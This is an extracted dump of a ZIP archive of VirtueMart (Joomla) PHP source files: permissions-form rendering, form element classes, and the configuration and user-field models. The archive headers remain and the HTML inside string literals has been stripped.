      '; // Start a row for each user group. foreach ($groups as $group) { $difLevel = $group->level - $curLevel; if ($difLevel > 0) { $html[] = '
      • '; } elseif ($difLevel < 0) { $html[] = str_repeat('
    • ', -$difLevel); } $html[] = '
    • '; $html[] = '
      '; $html[] = '

      '; $html[] = str_repeat('|– ', $curLevel = $group->level) . $group->text; $html[] = '

      '; $html[] = '
      '; $html[] = '
      '; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; // The calculated setting is not shown for the root group of global configuration. $canCalculateSettings = ($group->parent_id || !empty($component)); if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; $html[] = ''; $html[] = ''; foreach ($actions as $action) { $html[] = ''; $html[] = ''; $html[] = ''; // Build the Calculated Settings column. // The inherited settings column is not displayed for the root group in global configuration. if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; } $html[] = ''; $html[] = '
      '; $html[] = '' . JText::_('JLIB_RULES_ACTION') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_SELECT_SETTING') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_CALCULATED_SETTING') . ''; $html[] = '
      '; $html[] = ''; $html[] = ''; //$html[] = $this->formControl.'-'.$this->fieldname; $this->name = $this->formControl.'[rules]'; $html[] = '  '; // If this asset's rule is allowed, but the inherited rule is deny, we have a conflict. if (($assetRule === true) && ($inheritedRule === false)) { $html[] = JText::_('JLIB_RULES_CONFLICT'); } $html[] = ''; // This is where we show the current effective settings considering currrent group, path and cascade. // Check whether this is a component or global. Change the text slightly. if (JAccess::checkGroup($group->value, 'core.admin', $assetId) !== true) { if ($inheritedRule === null) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } elseif ($inheritedRule === true) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { if ($assetRule === false) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED') . ''; } } } elseif (!empty($component)) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } else { // Special handling for groups that have global admin because they can't be denied. // The admin rights can be changed. if ($action->name === 'core.admin') { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { // Other actions cannot be changed. $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } } $html[] = '
      '; $html[] = '
      '; $html[] = '
    • '; } $html[] = str_repeat('
    ', $curLevel); $html[] = '
    '; if ($section == 'component' || $section == null) { $html[] = JText::_('JLIB_RULES_SETTING_NOTES'); } else { $html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM'); } $html[] = '
    '; $js = "window.addEvent('domready', function(){ new Fx.Accordion($$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3.pane-toggler')," . "$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel div.pane-slider'), {onActive: function(toggler, i) {toggler.addClass('pane-toggler-down');" . "toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_permissions-sliders-".$section . $component . "',$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3').indexOf(toggler));}," . "onBackground: function(toggler, i) {toggler.addClass('pane-toggler');toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');" . "i.removeClass('pane-down');}, duration: 300, display: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", show: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", alwaysHide:true, opacity: false}); });"; JFactory::getDocument()->addScriptDeclaration($js); return implode("\n", $html); } } PKB\1 q elements/vmfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKB\/+##elements/vmtitle.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); if (empty($class)) { $class.="style=\"margin: 10px 0 5px 0; font-weight: bold; padding: 5px; background-color: #cacaca; float:none; clear:both;\""; } $description = ($node->attributes('description') ? JText::_($node->attributes('description')) : ''); $html = ''; if ($value) { $html .= '
    '; $html .= JText::_($value); $html .= '
    '; if ($description){ $html .= $description.'
    '; } } else { $html .= '
    '.$description.'
    '; } return $html; } }PKB\vwOOelements/vmvendormenu.phpnuW+AgetVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $control_name . '[' . $name . ']', '', $name, 'vendor_name', $value, $control_name . $name); } } PKB\u5 elements/vmfiles.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKB\Y7 elements/vmacceptedcurrency.phpnuW+AsetQuery($q); $vendor_currency = $db->loadAssoc(); if (!$vendor_currency['vendor_accepted_currencies']) { $vendor_currency['vendor_accepted_currencies'] = $vendor_currency['vendor_currency']; } $q = 'SELECT `virtuemart_currency_id` AS value ,CONCAT_WS(" ",`currency_name`,`currency_symbol`) as text FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` IN (' . $vendor_currency['vendor_accepted_currencies'] . ') and (`virtuemart_vendor_id` = "' . $vendorId . '" OR `shared`="1") AND published = "1" ORDER BY `ordering`,`currency_name`'; $db->setQuery($q); $currencies = $db->loadObjectList(); $options = array(); $options[] = array( 'value' => 0 ,'text' =>JText::_('COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY')); if (!is_array($currencies)) { $currencies=(array)$currencies; } foreach ($currencies as $currency){ $options[] = array( 'value' => $currency->value ,'text' =>$currency->text); } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $options, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PKB\elements/index.htmlnuW+APKB\8*rrelements/vmcountries.phpnuW+AsetQuery($query); $fields = $db->loadObjectList(); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class = 'multiple="true" size="10" '; return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKB\K(elements/vmcategoriesmenu.phpnuW+A'; $html .= ''; $html .= $categorylist; $html .=""; return $html; } } PKB\)elements/.htaccessnuW+A Order allow,deny Deny from all PKB\*G D Dmodels/config.phpnuW+AgetTemplate();vmdebug('template',$tplpath); if (JVM_VERSION === 2) { $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id` ="0" AND `home`="1" '; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id` ="0" '; } $db = JFactory::getDBO(); $db->setQuery($q); $tplnames = $db->loadResult(); if($tplnames){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view)){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view; } } $result = array(); $emptyOption = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE')); $result[] = $emptyOption; $alreadyAddedFile = array(); foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if(!empty($file) and strpos($file,'.')!==0 and strpos($file,'_')==0 and $file != 'index.html' and !is_Dir($file)){ //Handling directly for extension is much cleaner $path_info = pathinfo($file); if(empty($path_info['extension'])){ vmError('Attention file '.$file.' has no extension in view '.$view.' and directory '.$dir); $path_info['extension'] = ''; } if ($path_info['extension'] == 'php' && !in_array($file,$alreadyAddedFile)) { $alreadyAddedFile[] = $file; //There is nothing to translate here // $result[] = JHTML::_('select.option', $file, $path_info['filename']); $result[] = JHTML::_('select.option', $path_info['filename'], $path_info['filename']); } } } } } return $result; } /** * Retrieve a list of available fonts to be used with PDF Invoice generation & PDF Product view on FE * * @author Nikos Zagas * @return object List of available fonts */ function getTCPDFFontsList() { $dir = JPATH_ROOT.DS.'libraries'.DS.'tcpdf'.DS.'fonts'; $result = array(); if(function_exists('glob')){ $specfiles = glob($dir.DS."*_specs.xml"); } else { $specfiles = array(); $manual = array('courier_specs.xml','freemono_specs.xml','helvetica_specs.xml'); foreach($manual as $file){ if(file_exists($dir.DS.$file)){ $specfiles[] = $dir.DS.$file; } } } foreach ($specfiles as $file) { $fontxml = @simpleXML_load_file($file); if ($fontxml) { if (file_exists($dir . DS . $fontxml->filename . '.php')) { $result[] = JHTML::_('select.option', $fontxml->filename, JText::_($fontxml->fontname.' ('.$fontxml->fonttype.')')); } else { vmError ('A font master file is missing: ' . $dir . DS . $fontxml->filename . '.php'); } } else { vmError ('Wrong structure in font XML file: '. $dir . DS . $file); } } return $result; } /** * Retrieve a list of possible images to be used for the 'no image' image. * * @author RickG * @author Max Milbers * @return object List of image objects */ function getNoImageList() { //TODO set config value here $dirs[] = JPATH_ROOT.DS.'components'.DS.'com_virtuemart'.DS.'assets'.DS.'images'.DS.'vmgeneral'; $tplpath = VmConfig::get('vmtemplate',0); if(!empty($tplpath) and is_numeric($tplpath)){ $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$tplpath.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $tplpath = $res['template']; } } if($tplpath){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral')){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral'; } } $result = ''; foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn' && $file != 'index.html') { if (filetype($dir.DS.$file) != 'dir') { $result[] = JHTML::_('select.option', $file, JText::_(str_replace('.php', '', $file))); } } } } } return $result; } /** * Retrieve a list of currency converter modules from the plugins directory. * * @author RickG * @return object List of theme objects */ function getCurrencyConverterList() { $dir = JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'; $result = ''; if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn') { $info = pathinfo($file); if ((filetype($dir.DS.$file) == 'file') && ($info['extension'] == 'php')) { $result[] = JHTML::_('select.option', $file, JText::_($file)); } } } } return $result; } /** * Retrieve a list of modules. * * @author RickG * @return object List of module objects */ function getModuleList() { $db = JFactory::getDBO(); $query = 'SELECT `module_id`, `module_name` FROM `#__virtuemart_modules` '; $query .= 'ORDER BY `module_id`'; $db->setQuery($query); return $db->loadObjectList(); } /** * Retrieve a list of Joomla content items. * * @author RickG * @return object List of content objects */ function getContentLinks() { $db = JFactory::getDBO(); $query = 'SELECT `id`, CONCAT(`title`, " (", `title_alias`, ")") AS text FROM `#__content` '; $query .= 'ORDER BY `id`'; $db->setQuery($query); return $db->loadObjectList(); } /* * Get the joomla list of languages */ function getActiveLanguages($active_languages) { $activeLangs = array() ; $language =JFactory::getLanguage(); $jLangs = $language->getKnownLanguages(JPATH_BASE); foreach ($jLangs as $jLang) { $jlangTag = strtolower(strtr($jLang['tag'],'-','_')); $activeLangs[] = JHTML::_('select.option', $jLang['tag'] , $jLang['name']) ; } return JHTML::_('select.genericlist', $activeLangs, 'active_languages[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL').'"', 'value', 'text', $active_languages );// $activeLangs; } /** * Retrieve a list of preselected and existing search or order By Fields * $type = 'browse_search_fields' or 'browse_orderby_fields' * @author Kohl Patrick * @return array of order list */ function getProductFilterFields( $type ) { $searchChecked = VmConfig::get($type) ; if (!is_array($searchChecked)) { $searchChecked = (array)$searchChecked; } if($type!='browse_cat_orderby_field'){ $searchFieldsArray = ShopFunctions::getValidProductFilterArray (); if($type=='browse_search_fields'){ if($key = array_search('pc.ordering',$searchFieldsArray)){ unset($searchFieldsArray[$key]); } } } else { $searchFieldsArray = array('category_name','category_description','cx.ordering','c.published'); } $searchFields= new stdClass(); $searchFields->checkbox ='
      '; foreach ($searchFieldsArray as $key => $field ) { if (in_array($field, $searchChecked) ) { $checked = 'checked="checked"'; } else { $checked = ''; } $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; if ($type == 'browse_orderby_fields' or $type == 'browse_cat_orderby_field'){ $searchFields->select[] = JHTML::_('select.option', $field, $text) ; } $searchFields->checkbox .= '
    • '; } $searchFields->checkbox .='
    '; return $searchFields; } /** * Save the configuration record * * @author Max Milbers * @return boolean True is successful, false otherwise */ function store(&$data,$replace = FALSE) { vRequest::vmCheckToken(); //$data['active_languages'] = strtolower(strtr($data['active_languages'],'-','_')); //ATM we want to ensure that only one config is used $config = VmConfig::loadConfig(TRUE); if(!self::checkConfigTableExists()){ VmConfig::installVMconfig(false); } $browse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $cat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); $config->setParams($data,$replace); $confData = array(); $query = 'SELECT * FROM `#__virtuemart_configs`'; $this->_db->setQuery($query); if($this->_db->loadResult()){ $confData['virtuemart_config_id'] = 1; } else { $confData['virtuemart_config_id'] = 0; } $urls = array('assets_general_path','media_category_path','media_product_path','media_manufacturer_path','media_vendor_path'); foreach($urls as $urlkey){ $url = trim($config->get($urlkey)); $length = strlen($url); if(strrpos($url,'/')!=($length-1)){ $config->set($urlkey,$url.'/'); vmInfo('Corrected media url '.$urlkey.' added missing /'); } } //If empty it is not sent by the form, other forms do it by using a table to store, //the config is like a big xparams and so we check some values for this form manually /*$toSetEmpty = array('active_languages','inv_os','email_os_v','email_os_s'); foreach($toSetEmpty as $item){ if(!isset($data[$item])) { $config->set($item,array()); } }*/ $checkCSVInput = array('pagseq','pagseq_1','pagseq_2','pagseq_3','pagseq_4','pagseq_5'); foreach($checkCSVInput as $csValueKey){ $csValue = $config->get($csValueKey); if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $csValue = implode(',',$sequenceArray); $config->set($csValueKey,$csValue); } } $safePath = trim($config->get('forSale_path')); if(!empty($safePath)){ if(DS!='/' and strpos($safePath,'/')!==false){ $safePath=str_replace('/',DS,$safePath); vmInfo('Corrected safe path, replaced / by '.DS); vmdebug('$safePath',$safePath); } $length = strlen($safePath); if(strrpos($safePath,DS)!=($length-1)){ $safePath = $safePath.DS; vmInfo('Corrected safe path, added missing '.DS); } $config->set('forSale_path',$safePath); } else { $safePath = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'vmfiles'; $exists = JFolder::exists($safePath); if(!$exists){ $created = JFolder::create($safePath); $safePath = $safePath.DS; if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED',$safePath); /* create htaccess file */ $fileData = "order deny, allow\ndeny from all\nallow from none"; JLoader::import('joomla.filesystem.file'); $fileName = $safePath.DS.'.htaccess'; $result = JFile::write($fileName, $fileData); if (!$result) { VmWarn('COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED',$safePath,$fileData); } $config->set('forSale_path',$safePath); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $safePath = shopFunctions::checkSafePath($safePath); if(!empty($safePath)){ $exists = JFolder::exists($safePath.'invoices'); if(!$exists){ $created = JFolder::create($safePath.'invoices'); if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED'); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!$config->get('active_languages',false)){ $confData['active_languages'] = array(VmConfig::$langTag); } $confData['config'] = $config->toString(); $confTable = $this->getTable('configs'); if (!$confTable->bindChecknStore($confData)) { vmError($confTable->getError()); } // Load the newly saved values into the session. $config = VmConfig::loadConfig(true); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->createLanguageTables(); /* This conditions is not enough, if the language changes we need to recall the cache. $newbrowse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $newcat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); if($browse_cat_orderby_field!=$newbrowse_cat_orderby_field or $newcat_brws_orderby_dir!=$cat_brws_orderby_dir){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); }*/ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); $cache = JFactory::getCache('com_virtuemart_rss','callback'); $cache->clean(); $cache = JFactory::getCache('convertECB','callback'); $cache->clean(); $cache = JFactory::getCache('_virtuemart'); $cache->clean(); $cache = JFactory::getCache('com_plugins'); $cache->clean(); $cache = JFactory::getCache('_system'); $cache->clean(); $cache = JFactory::getCache('page'); $cache->clean(); return true; } public static function checkConfigTableExists(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart_configs"'; $db->setQuery($query); $configTable = $db->loadResult(); $err = $db->getErrorMsg(); if(!empty($err) or !$configTable){ return false; } else { return true; } } static public function checkVirtuemartInstalled(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart%"'; $db->setQuery($query); $vmTables = $db->loadColumn(); $err = $db->getErrorMsg(); if(!empty($err) or !$vmTables or count($vmTables)<2){ return false; } else { return true; } } /** * Dangerous tools get disabled after execution an operation which needed that rights. * This is the function actually doing it. * * @author Max Milbers */ function setDangerousToolsOff(){ if(self::checkConfigTableExists()){ $dangerousTools = VmConfig::readConfigFile(true); if( $dangerousTools){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $lang = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED',JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'),$link); VmInfo($lang); } else { $data['dangeroustools'] = 0; $data['virtuemart_config_id'] = 1; $this->store($data); } } } public function remove() { $table = $this->getTable('configs'); $id = 1; if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError(),'Cannot delete config'); return false; } return true; } /** * This function deletes a config stored in the database * * @author Max Milbers */ function deleteConfig(){ if($this->remove()){ return VmConfig::loadConfig(true,true); } else { return false; } } } //pure php no closing tagPKB\2models/userfields.phpnuW+Afieldname with formfields that are saved as parameters */ var $reqParam; // stAn, this variable is a cached result of getUserFields // where array key is $cache_hash = md5($sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); static $_cache_ordered; // this variable is a cached result of named fields of last call of getUserFields where the key is $_sec of the function ('registration', 'account', 'shipping'.. etc...) // example $_cached_named['registration']['email'] static $_cache_named; // *** code for htmlpurifier *** // var $htmlpurifier = ''; /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct('virtuemart_userfield_id'); $this->setMainTable('userfields'); $this->setToggleName('required'); $this->setToggleName('registration'); $this->setToggleName('shipment'); $this->setToggleName('account'); // Instantiate the Helper class $this->_params = new ParamHelper(); self::$_cache_ordered = null; self::$_cache_named = array(); // Form fields that must be translated to parameters $this->reqParam = array ( 'age_verification' => 'minimum_age' ,'euvatid' => 'virtuemart_shoppergroup_id' ,'webaddress' => 'webaddresstype' ); $this->_selectedOrdering = 'ordering'; $this->_selectedOrderingDir = 'ASC'; } /** * Prepare a user field for database update */ public function prepareFieldDataSave($field, &$data) { // $post = JRequest::get('post'); $fieldType = $field->type; $fieldName = $field->name; $value = $data[$field->name]; $params = $field->params; if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php'); switch(strtolower($fieldType)) { case 'webaddress': if (isset($post[$fieldName."Text"]) && ($post[$fieldName."Text"])) { $oValuesArr = array(); $oValuesArr[0] = str_replace(array('mailto:','http://','https://'),'', $value); $oValuesArr[1] = str_replace(array('mailto:','http://','https://'),'', $post[$fieldName."Text"]); $value = implode("|*|",$oValuesArr); } else { if ($value = vmFilter::urlcheck($value) ) $value = str_replace(array('mailto:','http://','https://'),'', $value); } break; case 'email': case 'emailaddress': //vmdebug('emailaddress before filter',$value); $value = vmFilter::mail( $value ); //$value = str_replace('mailto:','', $value); //$value = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$value); //vmdebug('emailaddress after filter',$value); break; // case 'phone': // $value = vmFilter::phone( $value ); // break; case 'multiselect': case 'multicheckbox': case 'select': if (is_array($value)) $value = implode("|*|",$value); break; case 'age_verification': $value = JRequest::getInt('birthday_selector_year') .'-'.JRequest::getInt('birthday_selector_month') .'-'.JRequest::getInt('birthday_selector_day'); break; case 'textarea': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'text' ); break; case 'editorta': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'no_js_flash' ); break; default: // //*** code for htmlpurifier *** // //SEE http://htmlpurifier.org/ // // must only add all htmlpurifier in library/htmlpurifier/ // if (!$this->htmlpurifier) { // require(JPATH_VM_ADMINISTRATOR.DS.'library'.DS.'htmlpurifier'.DS.'HTMLPurifier.auto.php'); // $config = HTMLPurifier_Config::createDefault(); // $this->htmlpurifier = new HTMLPurifier($config); // } // $value = $this->htmlpurifier->purify($value); // vmdebug( "purified filter" , $value); //$config->set('URI.HostBlacklist', array('google.com'));// set eg .add google.com in black list if (strpos($fieldType,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); // vmdebug('params',$params); $dispatcher->trigger('plgVmPrepareUserfieldDataSave',array($fieldType, $fieldName, &$data, &$value, $params) ); return $value; } // no HTML TAGS but permit all alphabet $value = vmFilter::hl( $value,array('deny_attribute'=>'*')); $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $value = (string)preg_replace('#^\'#si','',$value);//replace ' at start break; } return $value; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. */ function getUserfield($id = 0,$name = 0) { if($id === 0){ $id = $this->_id; } if (empty($this->_data)) { $this->_data = $this->getTable('userfields'); if($name !==0){ $this->_data->load($id, $name); } $this->_data->load($id); } if(strpos($this->_data->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($this->_data->type,6); $type = 'userfield'; $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsUserfield',array($type,$plgName,$this->_data->userfield_jplugin_id,&$this->_data)); // vmdebug('pluginGet',$type,$plgName,$this->_id,$this->_data); } // Parse the parameters, if any else $this->_params->parseParam($this->_data->params); return $this->_data; } /** * Retrieve the value records for the current $id if available for the current type * * Updated by stAn to get userfieldvalues per specific id regardless on this->_id * * @return array List wil values, or an empty array if none exist */ function getUserfieldValues($id=null) { if (empty($id)) $id = $this->_id; $this->_data = $this->getTable('userfield_values'); if ($id > 0) { $query = 'SELECT * FROM `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . (int)$id . ' ORDER BY `ordering`'; $_userFieldValues = $this->_getList($query); return $_userFieldValues; } else { return array(); } } static function getCoreFields(){ return array( 'name','username', 'email', 'password', 'password2' , 'agreed','language'); } /** * Bind the post data to the userfields table and save it * * @return boolean True is the save was successful, false otherwise. */ function store(&$data){ $field = $this->getTable('userfields'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $isNew = ($data['virtuemart_userfield_id'] < 1) ? true : false; $coreFields = $this->getCoreFields(); if(in_array($data['name'],$coreFields)){ //vmError('Cant store/update core field. They belong to joomla'); //return false; } else { if ($isNew) { $reorderRequired = false; $_action = 'ADD'; } else { $field->load($data['virtuemart_userfield_id']); $_action = 'CHANGE'; if ($field->ordering == $data['ordering']) { $reorderRequired = false; } else { $reorderRequired = true; } } } //vmdebug ('SAVED userfields', $data); // Put the parameters, if any, in the correct format if (array_key_exists($data['type'], $this->reqParam)) { $this->_params->set($this->reqParam[$data['type']], $data[$this->reqParam[$data['type']]]); $data['params'] = $this->_params->paramString(); } // Store the fieldvalues, if any, in a correct array $fieldValues = $this->postData2FieldValues($data['vNames'], $data['vValues'], $data['virtuemart_userfield_id'] ); if(strpos($data['type'],'plugin')!==false){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $plgName = substr($data['type'],6); $q = 'SELECT `' . $ext_id . '` FROM `' . $tb . '` WHERE `element` = "'.$plgName.'"'; $this->_db->setQuery($q); $data['userfield_jplugin_id'] = $this->_db->loadResult(); JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnBeforeUserfieldSave',array( $plgName , &$data, &$field ) ); } if (!$field->bind($data)) { // Bind data vmError($field->getError()); return false; } if (!$field->check(count($fieldValues))) { // Perform data checks //vmError($field->getError()); return false; } // Get the fieldtype for the database $_fieldType = $field->formatFieldType($data); if(!in_array($data['name'],$coreFields) && $field->type != 'delimiter'){ // Alter the user_info table if (!$userinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn userinfo',$userinfo->getError()); return false; } // Alter the order_userinfo table if (!$orderinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn orderinfo',$orderinfo->getError()); return false; } } // if new item, order last in appropriate group if ($isNew) { $field->ordering = $field->getNextOrder(); } $_id = $field->store(); if ($_id === false) { // Write data to the DB vmError($field->getError()); return false; } if (!$this->storeFieldValues($fieldValues, $_id)) { return false; } if(strpos($data['type'],'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($data['type'],6); $dispatcher->trigger('plgVmOnStoreInstallPluginTable',array( 'userfield' , $data ) ); } if ($reorderRequired) { $field->reorder(); } vmdebug('storing userfield',$_id); // Alter the user_info database to hold the values return $_id; } /** * Bind and write all value records * * @param array $_values * @param mixed $_id If a new record is being inserted, it contains the virtuemart_userfield_id, otherwise the value true * @return boolean */ private function 